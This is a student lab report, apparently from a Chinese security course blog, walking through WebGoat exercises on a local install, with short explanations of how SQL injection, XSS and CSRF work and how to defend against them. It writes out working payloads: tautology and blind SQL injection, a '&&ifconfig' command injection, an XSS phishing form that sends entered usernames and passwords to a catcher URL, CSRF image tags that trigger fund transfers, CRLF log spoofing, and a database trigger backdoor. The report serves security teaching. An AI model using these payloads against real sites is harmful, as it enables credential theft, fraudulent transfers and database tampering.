• 20144303石宇森《网络对抗》Web安全基础实践


    20144303石宇森《网络对抗》Web安全基础实践

    实验后问题回答

    SQL注入攻击原理,如何防御:

    SQL攻击时通过在输入框中输入语句,构造出SQL命令,把这段命令注入到表单中,让后台的数据库执行恶意的SQL语句以实现攻击。

    防御方法:采用sql语句预编译和绑定变量是最佳的方法。在不能使用sql语句预编译的情况下,可以严格的检查参数的数据类型以及格式。

    XSS攻击的原理,如何防御:

    XSS攻击也是通过从输入框中输入,把语句传给后台,这些语句代码包裹HTML代码和客户端脚本。通过这种方法,使网页的页面被更改,其他用户看到的页面也被更改。

    防御方法:从Web开发的角度来避免,对所有用户提交的内容进行可靠的输入验证。对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

    CSRF攻击原理,如何防御:

    CSRF攻击的原理就是使攻击者盗取用户的身份,然后以用户的身份发送恶意请求。盗取用户身份是通过Cookie来完成的。

    防御方法:对用户来说要尽量及时的清理Cookie。对Web端来说,可以在客户端页面增加伪随机数,使攻击者得不到用户的Cookie

    实验总结与体会

    这次的实验与之前用过的“爱春秋”比较类似,以一种闯关的形式来完成实验,为学习过程增添了不少趣味性。有一些题目看不懂或是做不出来,后来通过学习同学的博客都把问题解决了。本来以为没有输入框就不能完成SQL注入攻击了,没想到还有Berpsuite,能把网页输入和输出内容像抓包一样抓到,然后完成修改。

    实践过程记录

    在实验之前,要先解压一下WebGoat(不能关闭终端窗口),然后登录localhost:8080/WebGoat开始实验。

    一、String SQL Injection

    这个题要求我们通过SQL注入的方法使所有的信用卡的信息都能被看到。判断出它是一个SELECT查询语句后,我们构造出一个永真式就能让他把所有的信息都输出出来。

    所以,在输入框中输入'or 1='1,就能查出所有信用卡的信息。

    二、Numeric SQL Injection

    这个题也是要我们通过SQL注入攻击把所有的数据输出,同样的,也是构造一个永真式,但是与上一题不同的是,他没有输入框。这就要用到Berpsuite,把数据包截获,然后进行修改。

    首先我们要对Berpsuite软件使用的端口进行设置

    然后把浏览器使用的端口也做修改

    使捕获设置在ON,开始捕获

    然后把捕获到的数据发送到repeater

    对station修改,构造一个永真式,加一个or 1=1。发现右边的代码也做了相应的修改。再次点go,成功

    三、Command Injection

    设置完端口 捕获数据包 然后把他发送到repeater

    对URL修改,加上“&&ifconfig”,让它执行ifconfig语句

    实验结束后,把捕获关闭

    四、Blind Numeric SQL Injection

    这是个猜数字的题。我们输入101发现是有效的,那么就可以构造SQL语句,通过输出结果来判断后面的式子是否为真。比如,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 ); 输出为有效的,那么久证明这个数大于100。然后不断进行尝试,最后推算出答案是2364

    五、Reflected XSS Attacks

    <script>alert("20144303");</script> 
    

    是一个有攻击性的URL,可以让页面弹出对话框,显示20144303。我们把它作为输入,可以完成攻击。值得一提的是,这个XSS攻击没有改变服务器端的页面代码,只会显示给当前用户,不是持久性的存储型XSS攻击。

    六、Phishing with XSS

    <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。代码如上。

    七、CSRF

    这个题让我们发送给目标一封邮件,邮件里面有一个URL,当目标打开这个邮件时,完成攻击。

    因此,构造一个伪装语句<img src='attack?Screen=280&menu=900&transferFunds=10000' width='1' height='1'> 其中的src和menu是在题目下面的信息里搜取到的。

    八、CSRF Prompt By-pass

    这个题目和上一个比较相似,但是需要两条语句来完成,一个来伪装转账的金额,一个来伪装确认转账。

    <img src='attack?Screen=267&menu=900&transferFunds=10000'width='1'height='1'>
    
    <img src='attack?Screen=267&menu=900&transferFunds=Confirm'width='1'height='1'>
    

    九、Log Spoofing

    这个题要求我们通过注入命令,使admin登录成功。所以构造%0d%0aLogin succeeded !admin( %0d是回车,%0a是换行),这样就可以假装admin登录成功了。

    十:Database Backdoors

    这个题要求我们把用户的工资设置为10000,然后把表中所有的邮箱和用户名都设置成自己的。

    输入101后发现有效,就能根据101来构造语句注入。完成攻击

    101; update employee set salary=10000
    
    
    101;CREATE TRIGGER 20144303 BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='SHIYUSEN@qq.com' WHERE userid = NEW.userid
    

  • 相关阅读:
    Jabref安装及使用教程
    均方误差与均方根误差
    费马大定理
    JabRef设置
    申请内存时底层发生了什么?
    什么是Pipeline?
    基于三维点云场景的语义及实例分割
    华为 MateView 系列显示器新品
    C#-WinForm跨线程修改UI界面
    C# 代码生成二维码方法及代码示例(QRCoder)
  • 原文地址:https://www.cnblogs.com/20144303sys/p/6854008.html
Copyright © 2020-2023  润新知